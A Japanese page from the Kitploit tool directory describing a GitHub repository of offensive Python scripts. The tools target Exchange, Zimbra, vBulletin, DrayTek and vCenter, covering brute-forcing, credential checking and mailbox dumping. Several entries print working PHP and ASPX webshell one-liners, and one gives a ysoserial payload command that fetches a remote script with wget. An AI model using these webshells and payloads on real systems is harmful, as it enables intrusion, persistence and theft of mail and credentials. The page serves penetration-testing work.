Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Homework-of-Python — Python codes of my blog. | Kitploit
ツール/GitHubGitHub/3gstudent/homework-of-python
Vulnerability ScannersPassword AttacksExploitationWeb Application ExploitationInformation GatheringPost-ExploitationRed TeamingPayload Development
GitHub3gstudent/homework-of-python

Homework-of-Python

Python codes of my blog.

リポジトリを見る
4121263年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Homework-of-Python

私のブログのPythonコード。

pptp_password_hack.py

ブルートフォース攻撃を使用してPPTP VPNのパスワードを取得します。

ファイル(wordlistという名前)からパスワードを読み取り、pptpsetupを使用してサーバーに接続します。

時間間隔は10秒です。


portscan.py

ポートのスキャンに使用します。

タイムアウトは3秒です。

c++バージョン:

https://github.com/3gstudent/Homework-of-C-Language/blob/master/portscan.cpp


urltoip.py

URLからIPを取得するために使用します。

Sublist3rの結果を直接使用できます。

file_deduplication(For_urltoip).py

Sublist3rの結果から重複したIPを削除するために使用します。

urltoip.pyの結果を直接使用できます。

Sublime(F9)を使用してIPを並べ替えることができます。


file_deduplication.py

ファイルから重複項目を削除するために使用します。

Webmin<=1.920-Unauthenticated_RCE(CVE-2019-15107).py

参考:

https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html


fofa_api.py

fofaのAPIを呼び出し、結果からIPを出力するために使用します。

100件の結果を取得できます。

fofa_api_VIP.py

fofaのAPIを呼び出し、結果からIPを出力するために使用します。

VIPの場合、10000件の結果を取得できます。


vBulletin_5.x_0day_pre-auth_RCE.py

参考:

https://seclists.org/fulldisclosure/2019/Sep/31

例:

root@kitploit:~
echo \<?php @eval\(\$_POST[pwd]\)\;?\> >test.php

phpStudy_5.2-5.45_(php_xmlrpc.dll)_backdoor_RCE.py

参考:

https://mp.weixin.qq.com/s/dTzWfYGdkNqEl0vd72oC2w

例:

root@kitploit:~
system('cmd /c "echo ^<?php @eval(^$_POST[pwd]);?^> >D:\phpstudy\WWW\test.php"');

ExportFirefoxPassword.py

Firefoxのパスワードをエクスポートするために使用します

get_Exchange_version.py

Exchangeのバージョンを取得するために使用します。

まず、URLのソースコードからBuildNumberを取得し、次にバージョンを取得します。

参考:

https://docs.microsoft.com/en-us/Exchange/new-features/build-numbers-and-release-dates?redirectedfrom=MSDN&view=exchserver-2019


SMBv3_RCE_Scanner(CVE-2020-0796).py

SMBv3 RCEの脆弱性をスキャンするために使用します。

タイムアウトは3秒です。


Unauthenticated_RCE_in_Draytek_Vigor2960\3900\300B.py

参考:

https://github.com/imjdl/CVE-2020-8515-PoC

CVE-2020-8515

DrayTek Vigor2960 1.3.1_Beta、Vigor3900 1.4.4_Beta、およびVigor300B 1.3.3_Beta、1.4.2.1_Beta、1.4.4_Betaデバイスは、cgi-bin/mainfunction.cgi URIへのシェルメタ文字を介して、(認証なしで)rootとしてリモートコード実行を許可します。

影響を受ける製品:

  • Vigor300B <v1.5.1
  • Vigor2960 <v1.5.1
  • Vigor3900 <v1.5.1

Zimbra_SOAP_API_Manage.py

Zimbra SOAP APIを使用してZimbraメールサーバーに接続します。

使用方法:

root@kitploit:~
      Zimbra_SOAP_API.py <url> <username> <password> <mode>

モード:

  • low 低トークンの認証
  • admin 管理者トークンの認証
  • ssrf CVE-2019-9621を使用して管理者トークンを取得

例:

root@kitploit:~
      Zimbra_SOAP_API.py https://192.168.1.1 [email protected] password low

checkEWS.py

Exchange Web Serviceの有効なアカウントを確認するために使用します(プレーンテキストとntlmhashに対応)

参考:https://github.com/dirkjanm/PrivExchange/blob/master/privexchange.py

使用方法:

root@kitploit:~
checkEWS.py <host> <port> <mode> <domain> <user> <password>
<mode>:
- plaintext
- ntlmhash

例:

root@kitploit:~
checkEWS.py 192.168.1.1 443 plaintext test.com user1 password1
checkEWS.py test.com 80 ntlmhash test.com user1 c5a237b7e9d8e708d8436b6148a25fa1

checkAutodiscover.py

Autodiscover.xmlにアクセスしてユーザーの構成を取得するために使用します(プレーンテキストとntlmhashに対応)

使用方法:

root@kitploit:~
checkAutodiscover.py <host> <port> <mode> <email> <password> <command>
<command>:
- checkautodiscover
- getusersetting
- checkoab
- downloadlzx

例:

root@kitploit:~
checkAutodiscover.py 192.168.1.1 443 plaintext [email protected] password1 checkaut
odiscover
checkAutodiscover.py test.com 80 ntlmhash [email protected] c5a237b7e9d8e708d8436b6
148a25fa1 getusersetting

checkAutodiscoverEx.py

checkAutodiscover.pyの追加モード

パラメータを追加します

ewsManage.py

Exchange Web Serviceにアクセスするために使用します(プレーンテキストとntlmhashに対応)

使用方法:

root@kitploit:~
ewsManage.py <host> <port> <mode> <domain> <user> <password> <command>
<mode>:
- plaintext
- ntlmhash
<command>:
- getfolderofinbox
- getfolderofsentitems
- listmailofinbox
- listmailofsentitems
- listmailoffolder
- getmail
- deletemail
- deletefolder
- getattachment
- saveattachment
- getdelegateofinbox
- adddelegateofinbox
- updatedelegateofinbox
- removedelegateofinbox
- getdelegateofinbox2
- updatedelegateofinbox2
- restoredelegateofinbox2
- getinboxrules
- updateinboxrules
- removeinboxrules
- deleteattachment
- createattachment
- createfolderofinbox
- listhiddenfolderofinbox
- createtestmail
- SetHiddenPropertyType
- UpdateHiddenPropertyType
- getcontact
- findpeople
- findallpeople
- resolvename
- resolveallname


例:

root@kitploit:~
ewsManage.py 192.168.1.1 443 plaintext test.com user1 password1 getfolderofinbox
ewsManage.py test.com 80 ntlmhash test.com user1 c5a237b7e9d8e708d8436b6148a25fa1 listmailofinbox

sshCheck.py

SSHの有効な資格情報を確認するために使用します(パスワードと秘密鍵ファイルに対応)

使用方法:

root@kitploit:~
sshCheck.py <host> <port> <mode><user> <password>
<mode>:
- plaintext
- keyfile

例:

root@kitploit:~
sshCheck.py 192.168.1.1 22 plaintext root toor
sshCheck.py 192.168.1.1 22 keyfile root id_rsa

sshRunCmd

SSHを介したリモートコマンド実行(パスワードと秘密鍵ファイルに対応)

使用方法:

root@kitploit:~
sshRunCmd.py <host> <port> <mode><user> <password> <cmd>
<mode>:
- plaintext
- keyfile
If the <cmd> is shell,you will get an interactive shell

例:

root@kitploit:~
sshRunCmd.py 192.168.1.1 22 plaintext root toor shell
sshRunCmd.py 192.168.1.1 22 keyfile root id_rsa ps

easCheck.py

eas(Exchange Server ActiveSync)の有効な資格情報を確認するために使用します

使用方法:

root@kitploit:~
easCheck.py <host> <user> <password>

例:

root@kitploit:~
easCheck.py 192.168.1.1 user1 password1

checkOWA.py

OWAに接続してExchangeの有効なアカウントを確認するために使用します。

使用方法:

root@kitploit:~
checkOWA.py <url> <user> <password>

owaManage.py

OWAに接続してメールを読むために使用します。

使用方法:

root@kitploit:~
owaManage.py  <url> <user> <password> <command>
<command>
- ListFolder
- ViewMail
- DownloadAttachment

imapManage.py

IMAPを使用してメールサーバーに接続します。

使用方法:

root@kitploit:~
imapManage.py <IMAP server> <username> <password> <command>    
<command>:
CheckConfig             get the folder name
SaveAttachOfInbox       save the attachments of Inbox
SaveAttachOfSent        save the attachments of Sent
DownloadAllMailOfInbox  download all the mails of Inbox
DownloadAllMailOfSent   download all the mails of Sent
Eg:
imapManage.py 192.168.1.1 user1 password CheckConfig

aspxCmdNTLM.py

execCmd.aspx との通信にNTLM認証を実装するために使用します

通信データはBase64でエンコードされます

使用方法:

root@kitploit:~
aspxCmdNTLM.py <host> <port> <url> <mode> <domain> <user> <password> <command>
<mode>:
- plaintext
- ntlmhash
Eg.
aspxCmdNTLM.py 192.168.1.1 443 https://192.168.1.1/1.txt plaintext test.com user
1 password1 whoami
aspxCmdNTLM.py test.com 80 http://192.168.1.1/1.aspx ntlmhash test.com user1 c5a
237b7e9d8e708d8436b6148a25fa1 whoami

SharpExchangeBackdoor.py

C#バージョン:SharpExchangeBackdoor.cs

Exchangeのwebshellバックドアにペイロードを送信するために使用します。

対応:

  • assemblyLoad
  • webshellWrite

使用方法:

root@kitploit:~
    <url> <user> <password> <mode> <path>
mode:
    assemblyLoad
    webshellWrite

例:

root@kitploit:~
    SharpExchangeBackdoor.py https://192.168.1.1/owa/auth/errorFE.aspx no auth assemblyLoad payload.dll
    SharpExchangeBackdoor.py https://192.168.1.1/ecp/About.aspx user1 123456 webshellWrite payload.aspx

assemblyLoad.aspx:

root@kitploit:~
<%@ Page Language="C#" %><%System.Reflection.Assembly.Load(Convert.FromBase64String(Request.Form["demodata"])).CreateInstance("Payload").Equals("");%>

webshellWrite.aspx:

root@kitploit:~
<%@ Page Language="C#" %><%if (Request.Files.Count!=0)Request.Files[0].SaveAs(Server.MapPath("./uploadDemo.aspx"));}%>

Zimbra_deserialization_RCE(CVE-2019-6980).py

安全でないオブジェクトのデシリアライゼーション - IMAP

使用方法:

root@kitploit:~
<url> <user> <password> <payload path>

例:

root@kitploit:~
https://192.168.1.1 [email protected] password1 payload.obj

注意:

payload.objは次のように生成できます:

java -jar ysoserial.jar MozillaRhino2 "/usr/bin/wget https://192.168.1.1/test.sh --no-check-certificate -O /tmp/test.sh" > payload.obj


ExchangeDeserializeShell-NoAuth-TextFormattingRunProperties.py

ExchangeDeserializeShell-NoAuth-ActivitySurrogateSelectorFromFile.py

ExchangeDeserializeShell-NoAuth-ghostfile.py

Exchangeのデシリアライズによるコード実行をテストするために使用します。
Exchangeファイルの読み取り・書き込み権限から、デシリアライズによるコード実行までを実現します。 デシリアライズによるコード実行を実装するには、%ExchangeInstallPath%\FrontEnd\HttpProxy\\web.config内のmachineKeyを変更する必要があります。 <path>:owaまたはecp

使用方法:

root@kitploit:~
    <url> <key> <path>

例:

root@kitploit:~
 192.168.1.1 CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF owa
 mail.test.com CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF ecp    

Exchange_EWS_XML_Parser.py

Exchange SOAP XMLメッセージを解析するために使用します。


eacManage.py

Exchange管理センターにアクセスするために使用します

使用方法:

root@kitploit:~
eacManage.py <url> <user> <password> <command>
<command>:
- ListAdminRoles
- NewAdminRoles
- EditAdminRoles
- DeleteAdminRoles
- AddMailbox
- RemoveMailbox
- ExportAllMailbox          
- GetCertificate 
- ExportCertificate          
          

vSphereAutomationAPI_Manage.py

vSphere Automation API(v7.0U1+)を使用してVMを管理します

WindowsおよびLinux VMに対応

vSphereWebServicesAPI_Manage.py

vSphere Web Services APIを使用してVMを管理します

参考:https://github.com/vmware/pyvmomi/

インストール:pip install --upgrade pyvmomi

vCenterLDAP_Manage.py

vCenter上のLDAPデータベースを管理するために使用します。


SolarWindsOrion_Manage.py

SolarWinds Orionプラットフォームを管理するために使用します

SolarWindsOrionAPI_Manage.py

SolarWinds Orion APIを使用してOrionプラットフォームを管理します


MailEnableManage.py

MailEnableメールサーバーを管理するために使用します


blind_XXEPlatform_CVE-2019-9670.py

HTTPまたはFTPプロトコルを介して結果を受信できます。


ewsManage_Downloader.py

Exchange Web Serviceにアクセスするために使用します(プレーンテキストとntlmhashに対応)

ewsManage_exchangelib_Downloader.py

Exchange Web Serviceにアクセスするために使用します(プレーンテキストとntlmhashに対応)

ewsManage_requests_ntlm_Downloader.py

requests_ntlm2を使用してExchange Web Serviceにアクセスします(プレーンテキストとntlmhashに対応)

ewsManage_requests_ntlm_Session_Downloader.py

requests_ntlm2を使用してExchange Web Serviceにアクセスします(プレーンテキストとntlmhashに対応)

セッションを使用して通信データを削減します


vCenter_ExtraCertFromMdb.py

https://github.com/horizon3ai/vcenter_saml_login から改変

vCenter_GenerateLoginCookie.py

https://github.com/horizon3ai/vcenter_saml_login から改変


Exchange_GetVersion_MatchVul.py

Exchangeのバージョンを取得し、既存の脆弱性と照合するために使用します

Exchange_GetVersion_ParseFromFile.py

Exchangeのバージョンを取得し、https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019 からバージョンを解析するために使用します

https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019 をexchange.dataとして保存してください

Exchange_GetVersion_ParseFromWebsite.py

Exchangeのバージョンを取得し、https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019 からバージョンを解析するために使用します


Exchange_GetInternalIP.py

Exchangeの内部IPを取得するために使用します

msf auxiliary/scanner/http/owa_iis_internal_ipに基づいていますが、より多くのExchangeサーバーをサポートします。


vRealizeOperationsManager_GetVersion.py

vRealize Operations Managerのバージョンを取得するために使用します


BIG-IP_RunBash.py

bashを使用してコマンドを実行します


SophosUTM_plxDecrypter.py

Sophos UTMの.plxファイルを復号化するために使用します

参考:

https://www.atredis.com/blog/2021/8/18/sophos-utm-cve-2020-25223

https://github.com/the6p4c/bfs_extract

SophosUTM_ConfigParser.py

Sophos UTMの構成を解析するために使用します


ツールをダウンロード